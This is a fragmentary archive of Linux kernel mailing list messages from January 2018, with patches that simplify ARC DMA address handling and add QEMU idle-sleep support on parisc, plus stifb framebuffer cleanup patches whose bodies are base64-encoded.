	"linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org" <linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org>,
	"patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org" <patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org>,
	"linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-metag@vger.k
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, "iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org"
	<iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jan 05 20:43:39 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eXXtu-0001Ij-Cg
	for glki-iommu@m.gmane.org; Fri, 05 Jan 2018 20:43:35 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 9464DCDA;
	Fri,  5 Jan 2018 19:45:37 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 77197CA5
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri,  5 Jan 2018 19:45:36 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from smtprelay.synopsys.com (smtprelay2.synopsys.com
	[198.182.60.111])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 4EF6118A
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri,  5 Jan 2018 19:45:35 +0000 (UTC)
Original-Received: from mailhost.synopsys.com (mailhost2.synopsys.com [10.13.184.66])
	by smtprelay.synopsys.com (Postfix) with ESMTP id 95AF810C0239;
	Fri,  5 Jan 2018 11:45:31 -0800 (PST)
Original-Received: from US01WEHTC2.internal.synopsys.com
	(us01wehtc2.internal.synopsys.com [10.12.239.237])
	by mailhost.synopsys.com (Postfix) with ESMTP id 9B02FCE1;
	Fri,  5 Jan 2018 11:45:28 -0800 (PST)
Original-Received: from IN01WEHTCB.internal.synopsys.com (10.144.199.106) by
	US01WEHTC2.internal.synopsys.com (10.12.239.237) with Microsoft SMTP
	Server (TLS) id 14.3.266.1; Fri, 5 Jan 2018 11:45:28 -0800
Original-Received: from IN01WEHTCA.internal.synopsys.com (10.144.199.103) by
	IN01WEHTCB.internal.synopsys.com (10.144.199.105) with Microsoft SMTP
	Server (TLS) id 14.3.266.1; Sat, 6 Jan 2018 01:15:25 +0530
Original-Received: from [10.10.161.67] (10.10.161.67) by
	IN01WEHTCA.internal.synopsys.com (10.144.199.243) with Microsoft SMTP
	Server (TLS) id 14.3.266.1; Sat, 6 Jan 2018 01:15:24 +0530
In-Reply-To: <20171229081911.2802-10-hch-jcswGhMUV9g@public.gmane.org>
Content-Language: en-US
X-Originating-IP: [10.10.161.67]
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21981 gmane.linux.ports.mips.general:63160 gmane.linux.ports.ia64:28491 gmane.linux.ports.sh.devel:56191 gmane.linux.ports.sparc:27174 gmane.linux.kernel.cross-arch:41036 gmane.linux.ports.hexagon:1488 gmane.linux.kernel.arc:3273 gmane.linux.kernel.metag:1562 gmane.linux.ports.arm.kernel:624161 gmane.linux.ports.parisc:28162 gmane.linux.kernel:2659069 gmane.linux.ports.alpha:4664 gmane.linux.ports.ppc64.devel:151704
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21981>

On 12/29/2017 12:25 AM, Christoph Hellwig wrote:
> We always use the stub definitions, so remove the unused other code.
>
> Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>

Acked-by: Vineet Gupta <vgupta-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>

FWIW, it was removed and reintroduced as one of the customers wanted it, which is 
not relevant now !

Thx,
-Vineet

> ---
>   arch/arc/Kconfig                   |  3 ---
>   arch/arc/include/asm/dma-mapping.h |  7 -------
>   arch/arc/mm/dma.c                  | 14 +++++++-------
>   3 files changed, 7 insertions(+), 17 deletions(-)
>
> diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
> index 9d5fd00d9e91..f3a80cf164cc 100644
> --- a/arch/arc/Kconfig
> +++ b/arch/arc/Kconfig
> @@ -463,9 +463,6 @@ config ARCH_PHYS_ADDR_T_64BIT
>   config ARCH_DMA_ADDR_T_64BIT
>   	bool
>   
> -config ARC_PLAT_NEEDS_PHYS_TO_DMA
> -	bool
> -
>   config ARC_KVADDR_SIZE
>   	int "Kernel Virtual Address Space size (MB)"
>   	range 0 512
> diff --git a/arch/arc/include/asm/dma-mapping.h b/arch/arc/include/asm/dma-mapping.h
> index 94285031c4fb..7a16824bfe98 100644
> --- a/arch/arc/include/asm/dma-mapping.h
> +++ b/arch/arc/include/asm/dma-mapping.h
> @@ -11,13 +11,6 @@
>   #ifndef ASM_ARC_DMA_MAPPING_H
>   #define ASM_ARC_DMA_MAPPING_H
>   
> -#ifndef CONFIG_ARC_PLAT_NEEDS_PHYS_TO_DMA
> -#define plat_dma_to_phys(dev, dma_handle) ((phys_addr_t)(dma_handle))
> -#define plat_phys_to_dma(dev, paddr) ((dma_addr_t)(paddr))
> -#else
> -#include <plat/dma.h>
> -#endif
> -
>   extern const struct dma_map_ops arc_dma_ops;
>   
>   static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
> diff --git a/arch/arc/mm/dma.c b/arch/arc/mm/dma.c
> index fad18261ef6a..1d405b86250c 100644
> --- a/arch/arc/mm/dma.c
> +++ b/arch/arc/mm/dma.c
> @@ -60,7 +60,7 @@ static void *arc_dma_alloc(struct device *dev, size_t size,
>   	/* This is linear addr (0x8000_0000 based) */
>   	paddr = page_to_phys(page);
>   
> -	*dma_handle = plat_phys_to_dma(dev, paddr);
> +	*dma_handle = paddr;
>   
>   	/* This is kernel Virtual address (0x7000_0000 based) */
>   	if (need_kvaddr) {
> @@ -92,7 +92,7 @@ static void *arc_dma_alloc(struct device *dev, size_t size,
>   static void arc_dma_free(struct device *dev, size_t size, void *vaddr,
>   		dma_addr_t dma_handle, unsigned long attrs)
>   {
> -	phys_addr_t paddr = plat_dma_to_phys(dev, dma_handle);
> +	phys_addr_t paddr = dma_handle;
>   	struct page *page = virt_to_page(paddr);
>   	int is_non_coh = 1;
>   
> @@ -111,7 +111,7 @@ static int arc_dma_mmap(struct device *dev, struct vm_area_struct *vma,
>   {
>   	unsigned long user_count = vma_pages(vma);
>   	unsigned long count = PAGE_ALIGN(size) >> PAGE_SHIFT;
> -	unsigned long pfn = __phys_to_pfn(plat_dma_to_phys(dev, dma_addr));
> +	unsigned long pfn = __phys_to_pfn(dma_addr);
>   	unsigned long off = vma->vm_pgoff;
>   	int ret = -ENXIO;
>   
> @@ -175,7 +175,7 @@ static dma_addr_t arc_dma_map_page(struct device *dev, struct page *page,
>   	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
>   		_dma_cache_sync(paddr, size, dir);
>   
> -	return plat_phys_to_dma(dev, paddr);
> +	return paddr;
>   }
>   
>   /*
> @@ -190,7 +190,7 @@ static void arc_dma_unmap_page(struct device *dev, dma_addr_t handle,
>   			       size_t size, enum dma_data_direction dir,
>   			       unsigned long attrs)
>   {
> -	phys_addr_t paddr = plat_dma_to_phys(dev, handle);
> +	phys_addr_t paddr = handle;
>   
>   	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
>   		_dma_cache_sync(paddr, size, dir);
> @@ -224,13 +224,13 @@ static void arc_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
>   static void arc_dma_sync_single_for_cpu(struct device *dev,
>   		dma_addr_t dma_handle, size_t size, enum dma_data_direction dir)
>   {
> -	_dma_cache_sync(plat_dma_to_phys(dev, dma_handle), size, DMA_FROM_DEVICE);
> +	_dma_cache_sync(dma_handle, size, DMA_FROM_DEVICE);
>   }
>   
>   static void arc_dma_sync_single_for_device(struct device *dev,
>   		dma_addr_t dma_handle, size_t size, enum dma_data_direction dir)
>   {
> -	_dma_cache_sync(plat_dma_to_phys(dev, dma_handle), size, DMA_TO_DEVICE);
> +	_dma_cache_sync(dma_handle, size, DMA_TO_DEVICE);
>   }
>   
>   static void arc_dma_sync_sg_for_cpu(struct device *dev,


From - Thu Nov 08 21:40:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: QEMU host idle sleep support
Date: Fri, 5 Jan 2018 21:55:38 +0100
Lines: 72
Approved: news@gmane.org
Message-ID: <20180105205538.GA25474@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515185638 12893 195.159.176.226 (5 Jan 2018 20:53:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 5 Jan 2018 20:53:58 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Richard Henderson <rth@twiddle.net>
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 05 21:53:53 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eXYzt-0007Ol-QD
	for glpp-linux-parisc@m.gmane.org; Fri, 05 Jan 2018 21:53:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753049AbeAEUzx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 5 Jan 2018 15:55:53 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:52457 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753045AbeAEUzw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 5 Jan 2018 15:55:52 -0500
Original-Received: from ls3530.fritz.box ([193.159.16.218]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LfjlS-1fH3zz2j4U-00pOPM; Fri, 05
 Jan 2018 21:55:41 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:O/h1eijf+HowgCPdz6tAumxehA6IVfbiRsYe6FNzkZb/EIYKjrW
 TpKpdSyOjDosHpSdRq/dKzd/PSvrgFMaWRB/n/7fQ0Nu1eJZW4UXyh5fQy53zz4XuHVzMUP
 fLazMEwURUJX23nL23peG0rJfam3z62Hf7uHm74pzXW9q/dsczd/r9hvUavTgM0m2NRNoJu
 rr1kNDrZtQld5vgGHB8Fw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:grUZhpVfAl4=:8QvbEMwAwGVVE7Jgij6LXY
 YsA50hee7L/ONRne7bMCl564IRFZXZOnVhusp1HqavqF5ObV+xpIOUh/UXuSLRx1cqV2ZgUOM
 UGJMIWOGupCsgWBE7pBCyRtH+fckCNEn/vLqPdhnyJVuKonPu6Q0LB4zpdvrMhb33FrVWZzOH
 fSBElSOD0OVooOZsPz436n2XbxBVEtSgGfmYK4q8GvcF5Pm7UcJonJVIEtdGCk6C3sPyyrAji
 GMKk7rkgWZgzIt+j7l9sED8v/uVRh8LsQOoqflyZ8VPOSd1tijI5rzvx5xW7iRU4Bmo+S7CeU
 4P64fGn9kyH7QnV9M4GcdH8KY5+r96q+u1mRCPT6cu6ujUauiCM+jCLMXL1fPCXE9G9c0I8I0
 TW0hBbDgssYDD2IOZNouBUxUnWl4eTk2NVqxuIAP4OnKmCPOg4hean59u+LvUSYO7FqwwpUbb
 UkvZq1kSb/XmA+rvpsGTXJuwo5m+nyvNTD3kP4xdB623sRjqT4ya/w2memQ4Vw6Lab7kDLQBt
 Bu+ZkS/oJqqUVOjq+KY5nwScufdcL282bydrnuHXvUEmooLy1vHnMW6pkdLgB9ldGC0aFxJKy
 nyN80gJk04oIAhtoZQ4yoDVewsFkBal5rlgznyOcMnMrzYWBX64by1DxCq+cFs7Yy47on53GO
 I9fD4WqEKec4piG9bvPZAsg6XivhgYy7+7WZ8gLvAmepJBDt47xZVW4MKetlLzHUqNhTkW9Hq
 kqpL+x2dk4fcJiJk4drMRdvO0MtbS4u0lMf4+Ecrz/QxB+u+AjiuWmHwnEpFQDNS7PQgnN5y 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28163
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28163>

Add QEMU host idle sleep support when running under QEMU with SeaBIOS
PDC Firmware.

Like ppc64 we use "or" assembler instructions (which translate to nops
on real hardware) to indicate that qemu shall idle sleep.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: Richard Henderson <rth@twiddle.net>
CC: stable@vger.kernel.org # v4.9+

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 30f92391a93e..cad3e8661cd6 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -39,6 +39,7 @@
 #include <linux/kernel.h>
 #include <linux/mm.h>
 #include <linux/fs.h>
+#include <linux/cpu.h>
 #include <linux/module.h>
 #include <linux/personality.h>
 #include <linux/ptrace.h>
@@ -184,6 +185,44 @@ int dump_task_fpu (struct task_struct *tsk, elf_fpregset_t *r)
 }
 
 /*
+ * Idle thread support
+ *
+ * Detect when running on QEMU with SeaBIOS PDC Firmware and let
+ * QEMU idle the host too.
+ */
+
+int running_on_qemu __read_mostly;
+
+void __cpuidle arch_cpu_idle_dead(void)
+{
+	/* nop on real hardware, qemu will offline CPU. */
+	asm volatile("or %%r31,%%r31,%%r31\n":::);
+}
+
+void __cpuidle arch_cpu_idle(void)
+{
+	local_irq_enable();
+
+	/* nop on real hardware, qemu will idle sleep. */
+	asm volatile("or %%r10,%%r10,%%r10\n":::);
+}
+
+static int __init parisc_idle_init(void)
+{
+	const char *marker;
+
+	/* check QEMU/SeaBIOS marker in PAGE0 */
+	marker = (char *) &PAGE0->pad0;
+	running_on_qemu = (memcmp(marker, "SeaBIOS", 8) == 0);
+
+	if (!running_on_qemu)
+		cpu_idle_poll_ctrl(1);
+
+	return 0;
+}
+arch_initcall(parisc_idle_init);
+
+/*
  * Copy architecture-specific thread state
  */
 int
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: SF Markus Elfring <elfring@users.sourceforge.net>
Newsgroups: gmane.comp.video.dri.devel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: [PATCH v2 0/2] video/fbdev/stifb: Adjustments for stifb_init_fb()
Date: Sun, 7 Jan 2018 12:55:17 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <889131fe-199c-3bef-0781-00761b807426@users.sourceforge.net>
References: <7dcd32b6-9691-14a1-29cf-3a746ef5adfc@users.sourceforge.net>
 <CGME20171124213055epcas4p45c641222185056871b97f4e7bc235d2e@epcas4p4.samsung.com>
 <25624997.nONnEdNj0s@daneel.sf-tec.de> <1680261.Msdj7gi9fB@amdc3058>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1515326043 616 195.159.176.226 (7 Jan 2018 11:54:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 7 Jan 2018 11:54:03 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: kernel-janitors@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>
To: linux-fbdev@vger.kernel.org, linux-parisc@vger.kernel.org,
 dri-devel@lists.freedesktop.org,
 Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>,
 Helge Deller <deller@gmx.de>, "James E. J. Bottomley"
 <jejb@parisc-linux.org>, Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: dri-devel-bounces@lists.freedesktop.org Sun Jan 07 12:53:58 2018
Return-path: <dri-devel-bounces@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <dri-devel-bounces@lists.freedesktop.org>)
	id 1eY9WW-00082V-Jy
	for sf-dri-devel@m.gmane.org; Sun, 07 Jan 2018 12:53:56 +0100
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id BEE456E50B;
	Sun,  7 Jan 2018 11:55:58 +0000 (UTC)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
Original-Received: from mout.web.de (mout.web.de [212.227.15.3])
 by gabe.freedesktop.org (Postfix) with ESMTPS id 6C84D6E507
 for <dri-devel@lists.freedesktop.org>; Sun,  7 Jan 2018 11:55:55 +0000 (UTC)
Original-Received: from [192.168.1.3] ([78.48.134.178]) by smtp.web.de (mrweb004
 [213.165.67.108]) with ESMTPSA (Nemesis) id 0Lkm1c-1f8alA0wRI-00aVO8; Sun, 07
 Jan 2018 12:55:20 +0100
In-Reply-To: <1680261.Msdj7gi9fB@amdc3058>
Content-Language: en-GB
X-Provags-ID: V03:K0:F3t8o6vWd6Z1n6gR/pYDUNT0ZaOnKb2cj7hWhOEGAGRzPdKBkXp
 QZe+PpunlpiIEKuQ/4t1xWYRhJwvogcuJYNlPEq+J0sotqxdStw38EyGNlWgdxCj792ir+3
 mCfQ2PoO+sVyC1yIexHYLhnNLJ0rBCfUClxj8FDcQIT/UWFSvzfhJ/DjyenhpZ7z0Zx4fMv
 GidyV4hZ4jaS/bOC77JWw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:juUeGsyiiMI=:Oldtg06Oq/fDEgoPb+WwaL
 CeOIxEu3+pL9J70t1NWA5VOYSSGWemgjQKHUZGUkvpIzOv5HPvWqOg+IWDQsKP0kLn6mHnCXd
 TI/5TJowvv9EEoYoidE7+XMVqcC37ow1j7vEzcjCPFiAgFDk0AJkL0gb8q0suqua11RkKsMm/
 SGE873/MJQ6BV3TD08/QYzQDUZcmqSoxr/gbbr+kNtktfqXfc4OJTXEJcrhSJKm4waqcu4G38
 NuEsZMzvUO5jp+Wu+b4to/RveVWK7EV7JSyaeLNjx2n34TYclYgWp8HK13VBtLQpyHAixlM3d
 jB6kZIcT5ikFaS4NvHbm9dL5oecba73PA90AZ+0JUh20pSgmQR9UOO7R2tr16ud+cZJhQ0c6g
 BjNaZ4khyTuPW/cS65L1Q0poMYFK/PpozH5mtHnhhmDPgLdEQSHoc7n+YZd002gFUOz7piH4H
 TlcelKECfdflrSQGT74Xchs3fNXLbuulWaNyywRRqkeyn+EKHxSt1Gh8lCWNuXYBfdxwR9qxE
 jLxObJjCyxHsGs2ExLTJPmxcdA4XpSW5LxU7CyrNuiAYw177gIkIAtsFTRePsS9g80sZeb1UJ
 tRE4yMbQ4IBEF9ZlGSUti2/G96MJpjkK3zYiAF71OaNm6iUHjVMpYPPyD+/6+2rh2RXl5KeVz
 e3QRJvSKcpBoxIVDEsp4UVPLc44C04AzmKGDZeG/NdtjSLf041dJcS2EQyTcDgvp4rxhy7R8z
 zt3LuZPmXpyklx79FoW0zHzm5DbcUJCR3Jm2t//P85M2Rq/DGIS1qesJV/QzXqhNZNEQU62t 
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
 <dri-devel.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Errors-To: dri-devel-bounces@lists.freedesktop.org
Original-Sender: "dri-devel" <dri-devel-bounces@lists.freedesktop.org>
Xref: news.gmane.org gmane.comp.video.dri.devel:208327 gmane.linux.ports.parisc:28164 gmane.linux.kernel.janitors:50590 gmane.linux.kernel:2659710
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/208327>

RnJvbTogTWFya3VzIEVsZnJpbmcgPGVsZnJpbmdAdXNlcnMuc291cmNlZm9yZ2UubmV0PgpEYXRl
OiBTdW4sIDcgSmFuIDIwMTggMTI6NDU6NTQgKzAxMDAKClR3byB1cGRhdGUgc3VnZ2VzdGlvbnMg
d2VyZSB0YWtlbiBpbnRvIGFjY291bnQuCgpNYXJrdXMgRWxmcmluZyAoMik6CiAgUmV0dXJuIC1F
Tk9NRU0gYWZ0ZXIgYSBmYWlsZWQga3phbGxvYygpCiAgRGVsZXRlIGFuIGVycm9yIG1lc3NhZ2Ug
Zm9yIGEgZmFpbGVkIG1lbW9yeSBhbGxvY2F0aW9uCgogZHJpdmVycy92aWRlby9mYmRldi9zdGlm
Yi5jIHwgNiArKy0tLS0KIDEgZmlsZSBjaGFuZ2VkLCAyIGluc2VydGlvbnMoKyksIDQgZGVsZXRp
b25zKC0pCgotLSAKMi4xNS4xCgpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fXwpkcmktZGV2ZWwgbWFpbGluZyBsaXN0CmRyaS1kZXZlbEBsaXN0cy5mcmVlZGVz
a3RvcC5vcmcKaHR0cHM6Ly9saXN0cy5mcmVlZGVza3RvcC5vcmcvbWFpbG1hbi9saXN0aW5mby9k
cmktZGV2ZWwK


From - Thu Nov 08 21:40:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: SF Markus Elfring <elfring@users.sourceforge.net>
Newsgroups: gmane.comp.video.dri.devel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: [PATCH v2 1/2] video/fbdev/stifb: Return -ENOMEM after a failed
 kzalloc() in stifb_init_fb()
Date: Sun, 7 Jan 2018 12:56:45 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <6341951e-df28-0b40-974e-dedd890b5228@users.sourceforge.net>
References: <7dcd32b6-9691-14a1-29cf-3a746ef5adfc@users.sourceforge.net>
 <CGME20171124213055epcas4p45c641222185056871b97f4e7bc235d2e@epcas4p4.samsung.com>
 <25624997.nONnEdNj0s@daneel.sf-tec.de> <1680261.Msdj7gi9fB@amdc3058>
 <889131fe-199c-3bef-0781-00761b807426@users.sourceforge.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1515326131 21552 195.159.176.226 (7 Jan 2018 11:55:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 7 Jan 2018 11:55:31 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: kernel-janitors@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>
To: linux-fbdev@vger.kernel.org, linux-parisc@vger.kernel.org,
 dri-devel@lists.freedesktop.org,
 Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>,
 Helge Deller <deller@gmx.de>, "James E. J. Bottomley"
 <jejb@parisc-linux.org>, Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: dri-devel-bounces@lists.freedesktop.org Sun Jan 07 12:55:26 2018
Return-path: <dri-devel-bounces@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <dri-devel-bounces@lists.freedesktop.org>)
	id 1eY9Xs-0004wy-5j
	for sf-dri-devel@m.gmane.org; Sun, 07 Jan 2018 12:55:20 +0100
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id 2269D6E50D;
	Sun,  7 Jan 2018 11:57:23 +0000 (UTC)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
Original-Received: from mout.web.de (mout.web.de [212.227.15.3])
 by gabe.freedesktop.org (Postfix) with ESMTPS id D6FDA6E50D
 for <dri-devel@lists.freedesktop.org>; Sun,  7 Jan 2018 11:57:20 +0000 (UTC)
Original-Received: from [192.168.1.3] ([78.48.134.178]) by smtp.web.de (mrweb004
 [213.165.67.108]) with ESMTPSA (Nemesis) id 0MdYXk-1eFXKO105k-00PKHi; Sun, 07
 Jan 2018 12:56:48 +0100
In-Reply-To: <889131fe-199c-3bef-0781-00761b807426@users.sourceforge.net>
Content-Language: en-GB
X-Provags-ID: V03:K0:/N6DwZGB66P5uoLxdTEatpJXhoyTzmQnXY9AC+S9h6O+tob/Vo2
 4AOr4RZgCsSn6wl5PC8fiNDZslznkYpEpeVTGMkvTbzyyL719c2PoxN76CUDxYHq8E9Itex
 V9flZgTmeTGb6a1T/dhPMLn4KloQdl7F8xDUvCYVjzwymB8Pb8jhQ8IPn5xNrglZYDNL1aL
 1W/4KqcdJpDFE6ow0+Nhw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:0EHjd+cj20c=:mscULf6aRKHKNEaCjF0Ac5
 +7ncBOR/bWZjn4CEwztRDy/sS1JXs7/xF2z85rJZBL/nCjzZ8GJFtotY3bxofagSzB9OqoPoI
 MSZICAEMvzL/samxLal68lWaQtfqEkb4BAWvzflYt2mBt/PTchIYlIrthZGjC9ZqLjIdDH8nK
 vaYSbR7krHmpkhU6UCdCTwpHAyDZZEoyAxT5n7EbZKHlL+4q7GqEC5ntPpyItw4IwzglzOY7j
 CDT21j89aw0PFQkBWVWV0pMUSee4h9S5CYpRQSbTrc80a34UPfnV1bu4qHWd61n2zwT2IYrqr
 qnV3RnmQs1tk6Vfvs8tz4+7SMOhNAtO+stL2eJhZfX0+B/fvlg1KBM4Qj726gFkoHGqYGHaNC
 f38bZofa8L5f+br2ns4SYN5hPKhINOFnIXlI/VcxbCSdPrx3VqwDgjlGY/96Xu/IeQjZDR0vO
 9kupgfQq41kVlxQrIsUasZrQ5nrbib5EcKbhK3+2hg3H0DcktedQJhSpPBYkQHgB2Uy8GbTct
